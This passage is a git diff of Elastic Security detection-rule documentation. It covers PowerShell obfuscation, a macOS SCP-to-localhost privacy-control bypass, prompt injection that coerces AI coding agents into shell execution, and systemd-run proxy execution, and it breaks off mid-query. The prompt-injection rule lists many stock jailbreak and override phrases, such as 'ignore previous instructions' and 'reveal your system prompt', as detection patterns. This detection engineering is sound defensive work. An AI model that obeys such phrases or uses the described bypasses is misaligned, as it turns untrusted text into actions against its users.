compression techniques to evade signature-based detections and hinder manual analysis by security analysts. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential PowerShell Obfuscated Script via High Entropy* + + +This alert flags a large PowerShell script block with statistical characteristics consistent with obfuscated content (for example, encoded, compressed, or encrypted data embedded in a script). Triage should focus on establishing execution context (who/where), reconstructing the complete script content, identifying whether the high-entropy data is a benign embedded resource or a staged payload, and scoping for related activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the execution context and initial severity: + - Review `@timestamp` to identify when the script block executed and align pivots to the same timeframe. + - Review `host.name` and `host.id` to identify the endpoint and validate whether PowerShell use is expected for its role. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host and whether it is privileged, shared, or an automation/service identity. + - Review `powershell.file.script_block_length`, `powershell.file.script_block_entropy_bits`, and `powershell.file.script_block_surprisal_stdev` to understand whether the alert is driven by a large embedded blob (often staging) or more mixed script content (often a wrapper/loader plus embedded data). + +- Determine script provenance (file-backed vs. dynamic/interactive): + - If `file.path` is present, review `file.directory` and `file.name` to understand where the script originated. + - Assess whether `file.directory` is consistent with approved administrative tooling locations for this host and user, or whether it appears user-writable, temporary, or otherwise unusual. + - If `file.path` is absent, treat the script block as potentially interactive or dynamically generated and prioritize reconstructing the full script content and identifying the launch source via process correlation. + +- Reconstruct the full script content when fragmented: + - Pivot on `powershell.file.script_block_id` to collect all fragments associated with the script block. + - Order fragments using `powershell.sequence` and validate completeness using `powershell.total`. + - Analyze the reconstructed content as a whole to avoid missing small loader logic that precedes a large encoded/encrypted payload. + +- Perform structured content review of `powershell.file.script_block_text`: + - Identify large contiguous strings, byte arrays, or character arrays that may represent encoded or packed data; use `powershell.file.script_block_unique_symbols` to help distinguish limited-alphabet encodings from broader character sets. + - Look for transformation and staging patterns (for example, decode/decrypt/decompress routines) and whether transformed content is immediately executed (for example, dynamic invocation, in-memory loading, or secondary script evaluation). + - Extract any embedded indicators (domains, URLs, IPs, file paths/names, registry paths, scheduled task/service names, or distinctive strings) and retain them for scoping and containment. + +- Establish the execution chain and initiating source: + - Use `process.pid` with `host.id` and `@timestamp` to pivot to process telemetry for the PowerShell host instance that generated the script block. + - Identify the parent process and initiating mechanism (interactive shell, scheduled execution, remote management, document/script host, or other launcher). Treat unexpected launch sources or unusual timing for the host role as higher risk. + - Check whether the same `process.pid` generated additional suspicious script blocks around the alert time, and whether `user.id` and `host.id` align with expected administrative behavior. + +- Correlate for follow-on activity on the same host and account: + - Correlate on `host.id` and `@timestamp` to identify adjacent events that indicate impact (outbound connections, file writes, module downloads, persistence changes, or unusual authentication activity). + - When `file.path` is present, correlate on that path and timeframe for file creation/modification patterns that may indicate initial staging or subsequent cleanup. + +- Scope the activity across the environment: + - Search for other high-entropy script blocks on the same `host.id` and `user.id` before and after the alert to identify repeated execution or iterative staging. + - Search across hosts for the same `file.name` and `file.path` (when present) and compare `powershell.file.script_block_text` structure to identify reuse. + - Use distinctive substrings from `powershell.file.script_block_text` as pivots to find related script blocks even when paths or accounts differ. + + +*False positive analysis* + + +- Benign scripts can trigger this alert when they legitimately embed packed data (for example, compressed resources, serialized configuration blobs, embedded certificates/keys, or packaged modules) that increase entropy and appear non-uniform. +- Indicators supporting a benign determination: + - `file.path` and `file.name` consistently map to an approved internal tool or vendor-managed automation across multiple hosts. + - `user.id` represents an expected administrative or automation identity with predictable host targeting and execution timing. + - Reconstructed `powershell.file.script_block_text` shows a stable, repeatable structure over time, and any decoded content aligns with known operational functionality rather than staging and immediate secondary execution. +- Indicators supporting suspicion: + - Unusual `file.directory` for the host role or account, or absence of `file.path` combined with evidence of dynamic staging behavior. + - Reconstructed content includes clear execution of transformed data, in-memory loading patterns, or embedded external destinations not associated with known tooling. +- If determined benign, document the owning tool/team, expected `user.id` usage, and expected `file.path`/`file.name` (when present). Use those stable attributes for future baselining and noise reduction while preserving detection for new paths, new users, or materially different script structures. + + +*Response and remediation* + + +- If suspicious or malicious activity is confirmed: + - Contain the affected host to prevent further execution and lateral movement. + - Preserve relevant evidence from the alert, including full reconstructed script content (via `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`), and associated context (`@timestamp`, `host.*`, `user.*`, `file.*`, `process.pid`, and entropy metrics). + - Use extracted indicators from `powershell.file.script_block_text` to hunt across hosts and accounts, and to identify additional affected systems. + - Investigate and remediate follow-on activity identified during correlation (downloaded payloads, dropped files, persistence mechanisms, or unauthorized network access) and remove malicious artifacts from affected endpoints. + - If account compromise is suspected for `user.id` / `user.name`, initiate credential reset and review recent authentication activity and access paths associated with that identity. + +- If benign activity is confirmed: + - Record the justification and expected behavior (who runs it, where it runs, and expected `file.path` when present). + - Monitor for deviations from the established baseline, including new `user.id`, new `host.id`, new `file.path`, or significant changes in `powershell.file.script_block_text` structure or entropy characteristics. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and powershell.file.script_block_length > 1000 and + powershell.file.script_block_entropy_bits >= 5.5 and powershell.file.script_block_surprisal_stdev > 0.7 and + not file.directory: ( + "C:\Program Files (x86)\Microsoft Intune Management Extension\Content\DetectionScripts" or + "C:\Program Files\Microsoft Azure AD Connect Health Agent\Products\AdFederationService\AdfsDiagnostics\AdfsToolbox\diagnosticsModule\Private" + ) and + not (file.directory: "C:\ProgramData\Qualys\QualysTemp" and user.id: "S-1-5-18") and + not (file.directory: C\:\\Program*Files\\WindowsPowerShell\\Modules\\dbatools* and file.name: "allcommands.ps1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc new file mode 100644 index 0000000000..6c045bc410 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-potential-privacy-control-bypass-via-localhost-secure-copy]] +=== Potential Privacy Control Bypass via Localhost Secure Copy + +Identifies use of the Secure Copy Protocol (SCP) to copy files locally by abusing the auto addition of the Secure Shell Daemon (sshd) to the authorized application list for Full Disk Access. This may indicate attempts to bypass macOS privacy controls to access sensitive files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendaisecurity.com/en-us/resources-insights/trendai-security-blog/xcsset-mac-malware--infects-xcode-projects--uses-0-days + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privacy Control Bypass via Localhost Secure Copy* + + +Secure Copy Protocol (SCP) is used for secure file transfers over SSH. On macOS, SSH daemon inclusion in the Full Disk Access list can be exploited to bypass privacy controls. Adversaries may misuse SCP to locally copy files, evading security measures. The detection rule identifies such activity by monitoring SCP commands targeting localhost, excluding benign uses like Vagrant, to flag potential privacy control bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of SCP commands targeting localhost or 127.0.0.1, as indicated by the process.command_line field. +- Check the process.args field for the presence of "StrictHostKeyChecking=no" to verify if the SCP command was executed with potentially insecure settings. +- Investigate the user account associated with the SCP command to determine if it is a legitimate user or potentially compromised. +- Examine the timing and frequency of the SCP command execution to identify any unusual patterns or repeated attempts that may indicate malicious activity. +- Cross-reference the alert with other security logs or alerts to identify any related suspicious activities or anomalies around the same timeframe. +- Assess the system for any unauthorized changes or access to sensitive files that may have occurred as a result of the SCP command execution. + + +*False positive analysis* + + +- Vagrant usage can trigger false positives due to its legitimate use of SCP for local file transfers. To mitigate this, ensure that Vagrant-related SCP commands are excluded by refining the detection rule to ignore processes with arguments containing "vagrant@*127.0.0.1*". +- Development and testing environments may frequently use SCP to localhost for legitimate purposes. Consider creating exceptions for known development tools or scripts that regularly perform these actions to reduce noise. +- Automated backup solutions might use SCP to copy files locally as part of their routine operations. Identify and whitelist these processes to prevent them from being flagged as potential threats. +- System administrators may use SCP for local file management tasks. Establish a list of trusted administrator accounts or specific command patterns that can be safely excluded from triggering alerts. +- Continuous integration and deployment pipelines might involve SCP commands to localhost. Review and exclude these processes if they are part of a controlled and secure workflow. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SCP processes identified in the alert to halt ongoing unauthorized file transfers. +- Conduct a thorough review of the system's Full Disk Access list to identify and remove any unauthorized applications, including the SSH daemon if it was added without proper authorization. +- Analyze the system's SSH configuration and logs to identify any unauthorized changes or access patterns, and revert any suspicious modifications. +- Reset credentials for any accounts that may have been compromised, focusing on those with SSH access, and enforce the use of strong, unique passwords. +- Implement network monitoring to detect and alert on any future SCP commands targeting localhost, especially those bypassing host key checks. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on sensitive data, ensuring compliance with organizational incident response protocols. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "scp" and + process.args like~ "StrictHostKeyChecking=no" and + process.command_line like~ ("*scp *localhost:/*", "*scp *127.0.0.?:/*") and + not process.command_line like~ "*vagrant@*127.0.0.1*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-prompt-injection-coercing-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-prompt-injection-coercing-shell-execution.asciidoc new file mode 100644 index 0000000000..679a32a911 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-prompt-injection-coercing-shell-execution.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-36-potential-prompt-injection-coercing-shell-execution]] +=== Potential Prompt Injection Coercing Shell Execution + +Detects shells or scripting interpreters launched from a parent command line that contains common LLM prompt-injection or jailbreak language. Attackers (or malicious content ingested by an agent) use instruction-override, DAN/developer- mode, system-prompt extraction, and safety-filter bypass phrasing to coerce GenAI coding agents and automation wrappers into running attacker-chosen commands. When that injected text reaches a child shell or interpreter, it is a strong signal that untrusted prompt content is crossing into local code execution, enabling credential theft, data exfiltration, persistence, or further tool abuse under the user's privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cymulate.com/blog/cve-2025-547954-54795-claude-inverseprompt/ +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/ +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* Domain: GenAI +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Prompt Injection Coercing Shell Execution* + + +A shell or scripting interpreter started with a parent command line that matched common jailbreak / +instruction-override language (for example "ignore previous instructions", DAN/"Do Anything Now", or +"bypass the safety filter"). This can indicate a GenAI agent or wrapper being coerced by untrusted prompt +text into local code execution. The alert is a content heuristic on command-line text — confirm whether the +strings are adversarial injection versus security testing or documentation. + + +*Possible investigation steps* + + +- Review `process.parent.command_line` and `process.command_line` for the matched jailbreak phrases and the + surrounding payload (paths, URLs, credentials, download/execute patterns). +- Identify the parent process tree (`process.parent.name`, `process.parent.executable`) and whether it is a + known GenAI client (Claude, Cursor, Codex, Copilot, Windsurf, etc.) or a shell-snapshot wrapper. +- Correlate with other GenAI-related alerts on the same `host.id` / `user.name` in the same window + (unsafe permission bypass, suspicious shell via GenAI client, credential-path access). +- Check recent GenAI config or MCP changes and any outbound network activity from the same process tree. +- Determine whether the activity aligns with approved red-team / detection-engineering work. + + +*False positive analysis* + + +- Approved red-team, evaluation, or detection-engineering tests that deliberately include jailbreak + strings. Exclude known lab hosts or users. +- Claude Code / similar agents wrap user commands in `zsh -c` / `bash -c` shell-snapshots, so the phrase may + appear in both parent and child command lines for a single user action. + + +*Response and remediation* + + +- If not an approved test, isolate the host/user session, review the GenAI conversation or agent history for + the injection source, and rotate credentials accessible to that user. +- Audit GenAI tool configs, MCP servers, and skills loaded during the session. +- Block or restrict the responsible agent/automation if compromise or successful coercion is confirmed. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "start") and +( + process.name like~ ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "mksh", + "timeout", "env", "bun", + "bash.exe", "sh.exe", "env.exe", "timeout.exe", "bun.exe", + "cmd.exe", "powershell.exe", "pwsh", "pwsh.exe", "powershell_ise.exe", + "osascript", + "wscript.exe", "cscript.exe", "mshta.exe" + ) or + ?process.pe.original_file_name in ( + "Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE", + "wscript.exe", "cscript.exe", "MSHTA.EXE" + ) or + process.name like~ ( + ".*", + "python*", "perl*", "php*", "ruby*", "lua*", "node*", "deno*" + ) +) and +process.parent.command_line : ( + "*ignore previous instructions*", "*ignore prior instructions*", + "*ignore all previous*", "*ignore your previous*", + "*ignore the content policy*", + "*disregard previous instructions*", "*disregard prior instructions*", + "*disregard all previous*", + "*disregard your system instructions*", "*disregard the system instructions*", + "*disregard all system instructions*", + "*disregard your developer instructions*", "*disregard the developer instructions*", + "*dan mode*", "*stan mode*", "*aim mode*", "*dude mode*", + "*do anything now*", "*you are dan*", + "*bypass the safety*", "*bypass the safety filter*", "*bypass safety filter*", + "*bypass the content filter*", "*bypass content filter*", + "*bypass the content policy*", "*bypass content policy*", + "*bypass your guidelines*", + "*no safety filter*", "*no content restriction*", + "*without any restrictions*", "*without your restrictions*", + "*without content restrictions*", "*without safety restrictions*", + "*unrestricted ai*", "*unrestricted developer mode*", + "*jailbreak the*", "*jailbreak mode *", "*jailbreak mode,*", "*jailbreak mode.*", + "*jailbreak mode!*", "*jailbreak prompt*", + "*forget everything you were told*", "*forget previous instructions*", + "*you are now in*developer mode*", + "*override your safety*", + "*hidden system prompt*", + "*reveal your system prompt*", "*reveal the system prompt*", + "*dump your system prompt*", "*dump the system prompt*", + "*print your system prompt*", "*print the system prompt*", + "*show your system prompt*", "*show the system prompt*", + "*override your system prompt*", "*override the system prompt*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-proxy-execution-via-systemd-run.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-proxy-execution-via-systemd-run.asciidoc new file mode 100644 index 0000000000..6fb9fd2d04 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-proxy-execution-via-systemd-run.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-36-potential-proxy-execution-via-systemd-run]] +=== Potential Proxy Execution via Systemd-run + +This rule detects the execution of a command or binary through the systemd-run binary. Systemd-run can schedule commands to be executed in the background through systemd. Attackers may use this technique to execute commands while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Proxy Execution via Systemd-run* + + +This alert fires when a Linux process launches another command through systemd-run instead of executing it directly, which can hide execution behind a trusted system utility and detach it into a transient service or scope. An attacker might use systemd-run --user or a transient unit to start a shell, downloader, or credential-harvesting script in the background from an interactive session, reducing visibility into the real payload and parent-child chain. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the event to determine which user, shell, script, service, or remote access session invoked systemd-run and whether the ancestry aligns with normal administrative or automation activity on that host. +- Review the exact command passed through systemd-run, including flags such as --user, --scope, scheduling options, or custom unit names, and classify the spawned payload as expected software management, benign interactive use, or suspicious shell, downloader, or persistence behavior. +- Query systemd and journal artifacts for the transient unit that was created, including unit properties, start time, execution account, service output, and whether the unit remained active, failed, or was configured to run again. +- Correlate the execution with nearby events from the same user or host such as logins, sudo activity, file creation in writable locations, outbound network connections, or follow-on launches of interpreters and admin tools to identify a broader intrusion sequence. +- If the activity is unauthorized or unclear, inspect the referenced binary or script for path reputation, package ownership, hash prevalence, and recent modification history, then stop the transient unit and contain any files or persistence it introduced. + + +*False positive analysis* + + +- A legitimate administrator or maintenance script may use `systemd-run` to launch a transient unit for package updates, cache rebuilds, or controlled service restarts, so verify the initiating user, the parent script or shell history, and nearby package-management or scheduled change activity. +- A normal desktop or user session can invoke `systemd-run --user` or `--scope` to start an application, terminal, or session task in a transient scope, so confirm the parent process belongs to the logged-in user’s graphical session and that the spawned command matches expected interactive activity in systemd or journal logs. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management channels, terminate the malicious `systemd-run` transient unit or scope, and kill any child shell, downloader, or script it launched. +- Remove attacker persistence by deleting unauthorized unit files and drop-ins from `/etc/systemd/system/`, `/run/systemd/transient/`, `/var/lib/systemd/`, and affected users’ `~/.config/systemd/user/` directories, then run `systemctl daemon-reload` and disable any malicious timers or services. +- Preserve and quarantine the executed payload, related scripts, and any files created from writable locations such as `/tmp`, `/var/tmp`, `/dev/shm`, or a user home directory, and revoke exposed access by resetting compromised passwords, SSH keys, tokens, and sudo access tied to the initiating account. +- Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline if the command ran as `root`, modified security tooling, or executed an unknown binary, and validate that only approved packages, services, and startup entries remain before returning it to production. +- Escalate to incident response immediately if the `systemd-run` activity spawned a reverse shell, downloader, credential access tool, or lateral movement utility, if similar transient units appear on multiple hosts, or if the affected account has privileged or production access. +- Harden the environment by restricting who can invoke `systemd-run` through sudoers and privileged group membership, enforcing MFA and least privilege for administrative access, monitoring for new transient units and unexpected `--user` executions, and blocking execution from world-writable paths where the payload was staged. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Auditd Manager +- CrowdStrike + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "start", "ProcessRollup2") and +process.name == "systemd-run" and process.parent.name != null and +not ( + ?process.parent.executable in ( + "/usr/lib/systemd", "/lib/systemd/systemd", "/opt/saltstack/salt/run/run", "/etc/update-motd.d/70-available-updates", + "/tmp/newroot/usr/libexec/ptyxis-agent", "/usr/local/sbin/clamscan.sh", "/opt/sentinelone/bin/sentinelone-agent", + "/usr/local/bin/salt-minion", "/var/vanta/launcher", "/opt/traps/bin/pmd", "/usr/sbin/gdm", "/usr/bin/salt-minion", + "/opt/GC_Ext/GC/gc_linux_service", "/usr/lib/plesk-task-manager", "/opt/forticlient/epctrl", "/usr/lib/snapd/snap-exec", + "/usr/bin/yay", "/usr/local/bin/hexnode_agent", "/opt/halcyon/halcyonar/agent", "/usr/local/bin/qsetup", "/usr/bin/pamac", + "/usr/bin/elephant", "/usr/bin/Hyprland" + ) or + ?process.parent.executable like ( + "/opt/tableau/tableau_server/packages/scripts.*/after-install", "/opt/acronis/bin/acp-update-controller", "/snap/*", + "/var/lib/amagent/*", "/opt/msp-agent/msp-agent-core", "/opt/beyondtrust/*", "/var/lib/rancher/k3s/*/bin/k3s" + ) or + process.parent.name like "platform-python*" or + process.parent.name in ( + "udevadm", "daemon.start", "snap", "systemd", "ptyxis-agent", "run-slack", "run-firefox", "dbus.service", "k3s-server", + "systemd-udevd", "kubelet", "hyperkube", "kthreadd", "gnome-shell", "xdg-desktop-portal", "firefox", "picus_updater", + "rpm-ostree", "prompt-agent" + ) or + ?process.command_line in ( + "/usr/bin/systemd-run /usr/bin/systemctl start man-db-cache-update", "systemd-run env", + "systemd-run --user dnf-automatic-notifyonly.timer", "systemd-run --user systemctl suspend", "systemd-run /var/lib/aws-replication-agent/uninstall-agent.sh", + "systemd-run --on-active=10 --timer-property=AccuracySec=100ms --slice=system.slice systemctl start gc-agent", + "systemd-run --user --scope --unit=tmux-server -- tmux", "systemd-run bash -c sleep 60 && reboot" + ) or + ?process.command_line like~ ( + "systemd-run --scope -p CPUQuota=10% rpm -qa*", "systemd-run --scope 